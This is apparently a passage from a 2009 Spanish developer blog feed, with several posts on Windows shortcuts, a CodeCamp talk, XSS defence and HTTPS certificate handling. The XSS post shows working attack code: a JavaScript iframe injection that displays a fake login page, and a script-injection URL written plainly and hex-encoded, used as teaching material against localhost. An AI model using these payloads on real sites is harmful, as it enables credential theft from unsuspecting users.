&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+I&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Invertir colores&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:7;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+teclas de direcci&amp;oacute;n&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Movimiento panor&amp;aacute;mico en el sentido de las teclas de direcci&amp;oacute;n&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:8;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+R&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cambiar el tama&amp;ntilde;o de la lente&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;"&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Tecla del logotipo de Windows &lt;span style="mso-no-proof:yes;"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/clip_5F00_image002_5F00_2E4965F2.gif"&gt;&lt;img height="16" width="16" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/clip_5F00_image002_5F00_thumb_5F00_54AB493D.gif" alt="clip_image002" border="0" title="clip_image002" style="border-right-width:0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" /&gt;&lt;/a&gt;&lt;/span&gt;+Esc&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="199" valign="top" style="width:149.25pt;mso-border-alt:solid windowtext .5pt;border:windowtext 1pt solid;padding:1.5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cerrar la Lupa&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Realmente una utilidad que nos ser&amp;aacute; muy &amp;uacute;til para nuestras presentaciones.&lt;/p&gt;
&lt;p&gt;CrossPosting de &lt;a href="http://lonetcamp.com" title="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=159065" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="utilidades" scheme="http://geeks.ms/blogs/mrubino/archive/tags/utilidades/default.aspx" /><category term="windows 7" scheme="http://geeks.ms/blogs/mrubino/archive/tags/windows+7/default.aspx" /></entry><entry><title>Ejemplo inyección XSS + Material</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/10/21/ejemplo-inyecci-243-n-xss-material.aspx" /><id>/blogs/mrubino/archive/2009/10/21/ejemplo-inyecci-243-n-xss-material.aspx</id><published>2009-10-20T23:39:00Z</published><updated>2009-10-20T23:39:00Z</updated><content type="html">&lt;p align="justify"&gt;Toda una experiencia el paso por el CodeCamp y una de las sesiones fue mi introducci&amp;oacute;n a las buenas pr&amp;aacute;cticas para defenderse de los ataques XSS.&lt;/p&gt;
&lt;p&gt;Un tema como este es dif&amp;iacute;cil concentrarlo en 60 minutos y se me quedaron muchos ejemplos en el tintero.&lt;/p&gt;
&lt;p&gt;Para empezar pod&amp;eacute;is bajaros la presentaci&amp;oacute;n y la web de pruebas que realic&amp;eacute; para poder probar las diferentes t&amp;eacute;cnicas XSS en el siguiente link.&amp;nbsp; &lt;/p&gt;
&lt;p&gt;web&lt;a target="_blank" href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/XSS.rar" title="ejemplo"&gt;&lt;img border="0" width="51" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/images_5F00_55E5D67D.jpg" alt="images" height="48" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin-left:0px;margin-right:0px;border-right-width:0px;" title="images" /&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DB&lt;a target="_blank" href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/ASPNETDB.rar" title="ejemplo"&gt;&lt;img border="0" width="51" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/images_5F00_6DA22F45.jpg" alt="images" height="48" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin-left:0px;margin-right:0px;border-right-width:0px;" title="images" /&gt;&lt;/a&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/images_5F00_16ACCE42.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ahora terminar&amp;eacute; uno de los ejemplos que me parece muy interesante y no pude realizar por falta del valioso tiempo.&lt;/p&gt;
&lt;h4&gt;Ejemplo de XSS indirecto para robar la informaci&amp;oacute;n del usuario:&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; &lt;strong&gt;URL vulnerable al ataque:&lt;/strong&gt; A la url se le pasa el nombre de la revista y el la foto.&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/urlXss_5F00_7CD89812.jpg"&gt;&lt;img border="0" width="504" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/urlXss_5F00_thumb_5F00_5A176055.jpg" alt="urlXss" height="38" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;border-right-width:0px;" title="urlXss" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. La p&amp;aacute;gina:&lt;/strong&gt; Muestra la informaci&amp;oacute;n directamente sin validar los datos y es vulnerable a la inyecci&amp;oacute;n de c&amp;oacute;digo script y HTML.&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/NoticiaXss_5F00_706D059A.jpg"&gt;&lt;img border="0" width="248" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/NoticiaXss_5F00_thumb_5F00_3680535F.jpg" alt="NoticiaXss" height="260" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;border-right-width:0px;" title="NoticiaXss" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Fichero JS:&lt;/strong&gt; Como el ataque que planteamos es bastante elaborado necesitar&amp;iacute;amos introducir muchos texto en la url, y por ese motivo utilizaremos un recurso externo como un fichero JS para realizar el ataque.&lt;/p&gt;
&lt;pre&gt;onload = &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; XSS() {

    ifrm = &lt;span style="color:#0000ff;"&gt;document&lt;/span&gt;.createElement(&amp;quot;&lt;span style="color:#8b0000;"&gt;IFRAME&lt;/span&gt;&amp;quot;);
    ifrm.setAttribute(&amp;quot;&lt;span style="color:#8b0000;"&gt;src&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style="color:#8b0000;"&gt;http://localhost:51001/WebHack/Login.aspx&lt;/span&gt;&amp;quot;);
    ifrm.style.width = 350 + &amp;quot;&lt;span style="color:#8b0000;"&gt;px&lt;/span&gt;&amp;quot;;
    ifrm.style.height = 300 + &amp;quot;&lt;span style="color:#8b0000;"&gt;px&lt;/span&gt;&amp;quot;;
    ifrm.frameBorder = &amp;quot;&lt;span style="color:#8b0000;"&gt;0&lt;/span&gt;&amp;quot;;
    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; img = &lt;span style="color:#0000ff;"&gt;document&lt;/span&gt;.getElementById(&amp;quot;&lt;span style="color:#8b0000;"&gt;ctl00_ContentPlaceHolder1_foto&lt;/span&gt;&amp;quot;)
    img.parentNode.appendChild(ifrm);
    img.style.display = &amp;quot;&lt;span style="color:#8b0000;"&gt;none&lt;/span&gt;&amp;quot;;
}&lt;/pre&gt;
&lt;p&gt;Este script modifica el documento atacado &amp;ldquo;que previamente hemos estudiado&amp;rdquo; para insertar un iframe el cual utilizar&amp;aacute; una p&amp;aacute;gina intrusa para pedir los datos al usuario de su cuenta , haci&amp;eacute;ndole creer que su sesi&amp;oacute;n ha caducado.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Url Modificada:&lt;/strong&gt; Insertaremos un script en la url para mostrar el iframe en el lugar de la imagen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ASCII:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip;revista.aspx?&amp;amp;revista=Jaque&amp;lt;script src=&amp;quot;http://localhost/WebHack/css/Hack.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HEX:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip;revista.aspx?&amp;amp;revista=Jaque%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%57%65%62%48%61%63%6B%2F%63%73%73%2F%48%61%63%6B%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. P&amp;aacute;gina con la url atacada:&lt;/strong&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/ataqueXss_5F00_1D1AE0D6.jpg"&gt;&lt;img border="0" width="446" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/ataqueXss_5F00_thumb_5F00_3E306E21.jpg" alt="ataqueXss" height="244" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;border-right-width:0px;" title="ataqueXss" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="left"&gt;Espero que la sesi&amp;oacute;n del CodeCamp y el ejemplo hayan sido de vuestro agrado.&lt;/p&gt;
&lt;p align="left"&gt;Cross-Posting: &lt;a href="http://lonetcamp.com" title="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=158500" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="eventos" scheme="http://geeks.ms/blogs/mrubino/archive/tags/eventos/default.aspx" /><category term="seguridad" scheme="http://geeks.ms/blogs/mrubino/archive/tags/seguridad/default.aspx" /><category term="XSS" scheme="http://geeks.ms/blogs/mrubino/archive/tags/XSS/default.aspx" /></entry><entry><title>¿Qué es Comunidad ?</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/10/18/191-qu-233-es-comunidad.aspx" /><id>/blogs/mrubino/archive/2009/10/18/191-qu-233-es-comunidad.aspx</id><published>2009-10-18T18:02:00Z</published><updated>2009-10-18T18:02:00Z</updated><content type="html">&lt;p align="justify"&gt;Despu&amp;eacute;s de este fin de semana donde han pasado tantas cosas y donde despu&amp;eacute;s de tanto tiempo se han cumplido con creces nuestras expectativas, puedo decir de primera mano que he experimentado realmente lo que es la comunidad.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;La comunidad&lt;/strong&gt; son 30 ponentes que sin ning&amp;uacute;n animo de lucro, se comprometen y se esfuerzan para hacer llegar a todo el mundo los temas que m&amp;aacute;s nos interesan sobre la tecnolog&amp;iacute;a.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;La comunidad&lt;/strong&gt; son todas esas personas que han dedicado su tiempo durante varios meses&amp;nbsp; para poder organizar un evento como el CodeCamp y que finalmente haya sido una realidad. &lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;La comunidad&lt;/strong&gt; son las cerca de 250 personas que han pasado un fin de semana en Tarragona, compartiendo experiencias y conoci&amp;eacute;ndose de igual a igual.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;La comunidad&lt;/strong&gt; son esas comunidades como Mono y los grupos .NET que son capaces de&amp;nbsp; utilizar en su beneficio los puntos que les unen y dejar en la puerta los que los separan.&lt;/p&gt;
&lt;p align="justify"&gt;Realmente puedo decir que este fin de semana he experimentado y he vivido de cerca lo que realmente es la comunidad, estoy muy contento y orgulloso de poder formar parte de esta familia.&lt;/p&gt;
&lt;p align="left"&gt;Muchas Gracias a todos por ser parte de la comunidad.&lt;/p&gt;
&lt;p align="left"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 align="center"&gt;CodeCamp Tarragona 2009&lt;/h2&gt;
&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/PA180756_5F00_64250E0A.jpg"&gt;&lt;img border="0" width="494" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/PA180756_5F00_thumb_5F00_449ADF97.jpg" alt="PA180756" height="376" style="border-top-width:0px;display:block;border-left-width:0px;float:none;border-bottom-width:0px;margin-left:auto;margin-right:auto;border-right-width:0px;" title="PA180756" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=158281" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="eventos" scheme="http://geeks.ms/blogs/mrubino/archive/tags/eventos/default.aspx" /><category term="Opini&amp;#243;n" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Opini_26002300_243_3B00_n/default.aspx" /></entry><entry><title>Buenas Practicas la mejor defensa (XSS, Inyección SQL...)</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/10/13/buenas-practicas-la-mejor-defensa-xss-inyecci-243-n-sql.aspx" /><id>/blogs/mrubino/archive/2009/10/13/buenas-practicas-la-mejor-defensa-xss-inyecci-243-n-sql.aspx</id><published>2009-10-13T13:14:50Z</published><updated>2009-10-13T13:14:50Z</updated><content type="html">&lt;p align="justify"&gt;&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/41haker_5F00_4E8F16D6.jpg"&gt;&lt;img title="41-haker" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin:0px 0px 0px 30px;border-right-width:0px;" height="246" alt="41-haker" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/41haker_5F00_thumb_5F00_176588DD.jpg" width="207" align="right" border="0" /&gt;&lt;/a&gt;Esta vez realizaré una introducción para evitar los ataques más extendidos en la web, simplemente utilizando el sentido común y las buenas prácticas de programación. También veremos como utilizar herramientas de detección de vulnerabilidades como &lt;strong&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=0178e2ef-9da8-445e-9348-c93f24cc9f9d&amp;amp;displaylang=en"&gt;CAT.NET&lt;/a&gt;&lt;/strong&gt; y las librerías de codificación &lt;strong&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=051ee83c-5ccf-48ed-8463-02f56a6bfc09&amp;amp;displaylang=en"&gt;Anti-Cross Site Scripting Library&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;Todo esto en el &lt;a href="http://www.codecamp.es"&gt;CodeCamp Tarragona 09&lt;/a&gt; que se realizará este fin de semana !!!!&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Si no te has registrado ya, es posible que ya no puedas :-(&lt;/p&gt;  &lt;p&gt;Nos vemos en el CodeCamp.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=157973" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author></entry><entry><title>Quien dijo miedo a la crisis ???</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/10/06/quien-dijo-miedo-a-la-crisis.aspx" /><id>/blogs/mrubino/archive/2009/10/06/quien-dijo-miedo-a-la-crisis.aspx</id><published>2009-10-06T13:28:05Z</published><updated>2009-10-06T13:28:05Z</updated><content type="html">&lt;p&gt;La crisis afecta pero no amarga !!!&lt;/p&gt;  &lt;p&gt;&lt;embed src="http://blip.tv/play/Af6VRYuOLw" type="application/x-shockwave-flash" width="512" height="318" allowscriptaccess="always"&gt;&lt;/embed&gt; &lt;/p&gt;  &lt;p&gt;Fuente &lt;a title="http://www.blip.tv" href="http://www.blip.tv"&gt;http://www.blip.tv&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=157463" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author></entry><entry><title>Hackeada la página del Diario de Barcelona ???</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/09/28/hackeada-la-p-225-gina-del-diario-de-barcelona.aspx" /><id>/blogs/mrubino/archive/2009/09/28/hackeada-la-p-225-gina-del-diario-de-barcelona.aspx</id><published>2009-09-28T17:14:00Z</published><updated>2009-09-28T17:14:00Z</updated><content type="html">&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;Hace unos d&amp;iacute;as Jos&amp;eacute; M Alarc&amp;oacute;n anunci&amp;oacute; que unos hackers hab&amp;iacute;an modificado la p&amp;aacute;gina de Baquia.com &lt;/span&gt;&lt;a href="http://geeks.ms/blogs/jalarcon/archive/2009/09/24/baquia-com-hackeado-o-eso-parece.aspx"&gt;&lt;span style="font-size:small;"&gt;http://geeks.ms/blogs/jalarcon/archive/2009/09/24/baquia-com-hackeado-o-eso-parece.aspx&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:small;"&gt;&amp;nbsp; y ahora me he enterado que han echo lo mismo con el diario de Barcelona &lt;/span&gt;&lt;a href="http://diariobarcelona.com/"&gt;&lt;span style="font-size:small;"&gt;http://diariobarcelona.com&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:small;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;Parece que &amp;uacute;ltimamente las webs de noticias est&amp;aacute;n soportando m&amp;aacute;s visitas de las esperadas ;-)&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;Tendremos que vigilar m&amp;aacute;s de cerca la seguridad de nuestras webs para que no nos den gato por liebre.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;&lt;strong&gt;Editado:&lt;/strong&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;Parece ser que no es la primera vez que les pasa esto y ya huele un poco mal el asunto.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;&amp;iquest;Al final no sera todo una estrategia viral para conseguir enlaces y visitas diarias?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;&amp;iquest;Ser&amp;aacute; un ataque real?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Verdana;"&gt;&lt;span style="font-size:small;"&gt;&amp;iquest;Todo vale para conseguir visitas?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;
&lt;p&gt;&lt;a href="http://diariobarcelona.com/__n904463__En_Francia_afirman_que_Iran_ya_esta_en_condiciones_de_construir_la_bomba_atomica.html"&gt;&lt;img border="0" src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/diari.jpg" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=156915" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="seguridad" scheme="http://geeks.ms/blogs/mrubino/archive/tags/seguridad/default.aspx" /></entry><entry><title>Consultar un recurso Https con error en el certificado</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/09/24/consultar-un-recurso-https-con-error-en-el-certificado.aspx" /><id>/blogs/mrubino/archive/2009/09/24/consultar-un-recurso-https-con-error-en-el-certificado.aspx</id><published>2009-09-23T22:09:00Z</published><updated>2009-09-23T22:09:00Z</updated><content type="html">&lt;p align="justify"&gt;Han habido varias consultas en el foro MSDN sobre como poder consultar un recurso web aunque el servidor que utiliza el protocolo https tenga el certificado caducado.&lt;/p&gt;
&lt;p align="justify"&gt;En esta entrada pondr&amp;eacute; un ejemplo muy simple que se puede utilizar para este menester.&lt;/p&gt;
&lt;p align="justify"&gt;Lo primero que he realizado es un proyecto web que utiliza una clase para enviar una petici&amp;oacute;n xml, por ejemplo si quisiera consumir un servicio web XML en php que no dispone de una descripci&amp;oacute;n p&amp;uacute;blica del interfaz &amp;ldquo;&lt;a target="_blank" href="http://es.wikipedia.org/wiki/WSDL" title="wsd"&gt;&lt;span style="color:#006ff7;"&gt;WSD&lt;/span&gt;&lt;/a&gt;&amp;rdquo;&lt;/p&gt;
&lt;p align="justify"&gt;La clase se llama Conector y utiliza un m&amp;eacute;todo est&amp;aacute;tico que utiliza la clase &lt;a target="_blank" href="http://msdn.microsoft.com/es-es/library/system.net.httpwebresponse(VS.95).aspx"&gt;&lt;span style="color:#006ff7;"&gt;HttpWebResponse&lt;/span&gt;&lt;/a&gt; para hacer la petici&amp;oacute;n Http y devuelve el resultado obtenido de la petici&amp;oacute;n como un string.&lt;/p&gt;
&lt;p style="margin:0cm 0cm 0pt;" class="MsoNormal"&gt;&lt;span style="font-size:small;font-family:times new roman;"&gt;&lt;span style="font-size:x-small;"&gt;&lt;span style="font-size:xx-small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="margin:0cm 0cm 0pt;" class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="font-size:14pt;"&gt;&lt;span style="font-family:times new roman;"&gt;EDITADO (25.09.2009):&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin:0cm 0cm 0pt;" class="MsoNormal"&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="font-size:14pt;"&gt;&lt;span style="font-family:times new roman;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin:0cm 0cm 0pt;" class="MsoNormal"&gt;Gracias al comentario de eccho me he dado cuenta que la clase CertificatePolicy est&amp;aacute; en desuso &amp;ldquo;eso pasa por sacar temas del ba&amp;uacute;l sin hacer el repaso necesario de las librer&amp;iacute;as&amp;rdquo;. hora se recomienda el uso de &lt;a target="_blank" href="http://msdn.microsoft.com/es-es/library/system.net.servicepointmanager.servercertificatevalidationcallback(VS.80).aspx"&gt;&lt;span style="color:#006ff7;"&gt;ServerCertificateValidationCallback&lt;/span&gt;&lt;/a&gt;, que obtiene o establece la devoluci&amp;oacute;n de la llamada para validar un certificado de servidor.&lt;/p&gt;
&lt;pre&gt;&lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;static&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; PostXml(&lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; url, &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; xml, &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; certificado, &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; user, &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; pass)
{
        &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; resultado = &amp;quot;&lt;span style="color:#8b0000;"&gt;&lt;/span&gt;&amp;quot;;
        &lt;span style="color:#0000ff;"&gt;byte&lt;/span&gt;[] bytes = System.Text.Encoding.UTF8.GetBytes(xml);
        HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);

        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (!&lt;span style="color:#0000ff;"&gt;string&lt;/span&gt;.IsNullOrEmpty(user) &amp;amp;&amp;amp; !&lt;span style="color:#0000ff;"&gt;string&lt;/span&gt;.IsNullOrEmpty(pass))
            request.Credentials = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; NetworkCredential(user, pass);
        &lt;span style="color:#0000ff;"&gt;else&lt;/span&gt;
            request.Credentials = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; NetworkCredential();

        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (!&lt;span style="color:#0000ff;"&gt;string&lt;/span&gt;.IsNullOrEmpty(certificado))
        {
            &lt;span style="color:#0000ff;"&gt;try&lt;/span&gt;
            {
                X509Certificate certificate = X509Certificate.CreateFromSignedFile(certificado);
                request.ClientCertificates.Add(certificate);

                System.Net.ServicePointManager.ServerCertificateValidationCallback 
+= &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; System.Net.Security.RemoteCertificateValidationCallback(customXertificateValidation);

            }
